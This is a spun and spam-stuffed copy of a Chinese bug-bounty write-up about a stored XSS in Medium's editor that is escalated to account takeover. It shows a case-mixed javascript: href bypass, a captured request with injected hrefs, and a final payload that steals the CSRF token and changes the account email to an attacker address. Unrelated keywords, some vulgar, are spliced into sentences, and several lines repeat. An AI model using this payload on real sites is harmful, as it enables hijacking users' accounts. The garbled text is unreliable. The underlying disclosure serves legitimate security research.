首页 微博热点正文

bar,挖洞经历 | Medium博客渠道从Stored XSS到账号绑架,太原理工大学

*本文中涉及到的相关缝隙已报送厂商并得到修正,本文仅限技术研究与评论,禁止用于不合法用处,不然发生的全部结果自行承当

本文共享的是作者在博客途径Medium上编写文章时,偶尔发现一个Stored XSS缝隙,在此根底bar,挖洞阅历 | Medium博客途径从Stored XSS到账号劫持,太原理工大学上深入分析又发现了Account Takeover账号劫持缝隙,完美完成赏金从$100到$1000的提高。

偶尔发现Stored XSS缝隙

几个bar,挖洞阅历 | Medium博客途径从Stored XSS到账号劫持,太原理工大学星期曾经的某个晚上,我正在Medium上写博客,内容无非便是 – 为什么公司企业金姝妹应该大力接收缝隙众测形式…如此,一番吐槽发泄之后,脑子短路忽然不知道该写啥了。那就歇息歇息先干点其他吧,所以我就摆弄起Medium的博客编辑器来。

我不太记住其时我是怎样做的了,可是,我注意到能够从中redhead增加类似于mailto:这样的特别链接,所以,我脑子立刻想起来,那已然能用mailto:款式,那能不能用java:呢?因而,我就用jAvA:confirm来试了试。不敢相信僵尸夜总会,居然能够的!我把它嵌入我的博客文章中,翻开文章后点击对应链接,立刻就跳出一个承认bar,挖洞阅历 | Medium博客途径从Stored XSS到账号劫持,太原理工大学对话框来:

bar,挖洞阅历 | Medium博客途径从Stored XSS到账号劫持,太原理工大学
曹得旺

也便是说,我在Medium途径的要害方位发现了一个存储型XSS!立立刻报之后我就睡觉去了。

不能就这样算了

第二天早上醒来,我想,能用5分钟发现一个存储型XSS缝隙,真的就只能如此了吗?接下来,在编写博客时,我就用Unsplash图片上传办法进行测验,并对此进程进行抓包,该POST恳求如下:

POST /p/8f2xxxxxxx/deltas?logLockId=970 HTTP/1.1

Host: medium公媳性玩.com

User-Agent: [Redacted]

Accept: application/json

Accept欧美白叟-Languag一身猪腩肉e: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Obvious-CID: 精灵王纪传web

X-XSRF-Token: [Redacted]

X-Client-Date: [Redacted]

Content-Type: application/json

Content-Length: 536

Connection: close

Cookie: [Redacted]

{"id":"8f2xxxxxxx","简伯承deltas":[{"type":3,"index":1,"paragraph":{"name":"exxx","type":4,"text":"Photo by Some Author on Unsplash","markups":[{"type":3,"start":9,"end":17,"href":"","title":"","rel":"photo-cre蓝导航ator","anchorType":0},{"type":3,"start":21,"end":29,"href":"","title":"","钢姬铁兵漫画rel":"photo-source","anchorType":0}],"layout":天龙八部之晟皇子1,"metadata":{"id":"0*xxxxxx","originalWidth":"\"alt='test'","originalHeight":5219,"alt":"","unsplashPhotoId":"xxxxx"}},"verifySameName":true}],"baseRev":28}

能够看到,其间存在X-XSRF-Token: [Redacted],以及超链接指定特点href,那把href其值替换成jAvA:confirm试试看,替换后的恳求如下:

{"id":"8f2xxxxxxx","deltas":[{"type":3,"index":1,"paragraph":{"name":"exxx","type":4,"text":"Photo by Some Author on Unsplash","markups":[{"type":3,"start":9,"end":17,"href":"jAvA:confirm","title":"","rel":"photo-creator","anchorType":0},{"type":3,"start":21,"end":29,"href":"jAvA:confirm","title":"","rel":"photo-source","anchorType":0}],"layout":1,"metadata":{"id":"0*xxxxxx","originalWidth":"\"alt='test'","originalHeight":5219,"alt":"","unsplashPhotoId":"xxxxx"}},"vecams4rifySameName":true}],"baseRev":28}

哦靠,居然又能够了!盼盼姐

现在这样,依据Medium赏金方针日本无翼鸟少女漫画,顶多也便是$100美金,但其间说到:信息走漏或安全认证绕过缝隙能够到达$1000美金。所以我仍是想搞个大的。

账户劫持

根据以上发现的编辑器存储型XSS,我想能不能测测账号劫持呢?因为恳求交互进程中的会话Cookie具有HTTPonly设置,所以客户端脚本是不能正常读取Cookie内容的,当然也就无法盗取Cookie了,这就需求其它办法了。我来到个人资料选项设置中,看看能否把其间的注册邮箱地址更改替换成他人的邮箱,一试,居然不需求暗码就能更改。这种情况下,为了测验起见,我手动更改了其间的注册邮箱为我另一邮箱,然后往该邮箱发送了一条包括暂时登录的URL链接,然后我在另一邮箱中翻开该链接大凉王bar,挖洞阅历 | Medium博客途径从Stored XSS到账号劫持,太原理工大学居然能成功登录。整个进程能够用以下两步来完成:

1、用Stored XSS取得用户的CSRF token(该过程中不行获取到Cookie)

2、向/me/email途径发送包括新邮箱的PUT恳求

1、用Stored XSS取得用户的CSRF token(该过程中不行获取到Cookie)

2、向/me/email途径发送包括新邮箱的PUT恳求

终究Payload如下:

JaVa:var x=window.__PRELOADED_STATE__.session.xsrf;var h = new ;h.open(‘PUT’, ‘/me/email’, true);h.setRequestHeader(‘Content-Type’, ‘application/json’);h.setRequestHeader(‘X-XSRF-Token’, x);h.send(‘{“email”:”attacker@malicious.com”}’);

缝隙上报进程

2019.7.10 XSS缝隙初报

2019.7.10 再次上报Unsplash图片上传XSS缝隙

2019.7.12 上报账户劫持缝隙

2019.7.13 Medium安全团队呼应并奖赏$1000美金

名门令郎小老师别害臊

2019.8.3 缝隙修正

2019.8.6 我取得Medium名人堂

2019.7.10 XSS缝隙初报

2019.7.10 再次上报Unsplash图片上传XSS缝隙bar,挖洞阅历 | Medium博客途径从Stored XSS到账号劫持,太原理工大学

2019.7.12 上报账户劫持缝隙

2019.7.1陈魏薇3 Medium安全团队呼应并舔我下面奖赏$1000美金

2019.8.3 缝隙修正

2019.8.6 我取得Medium名人堂

*参阅来历:medium,clouds编译收拾,转载请注明来自FreeBuf.COM

版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。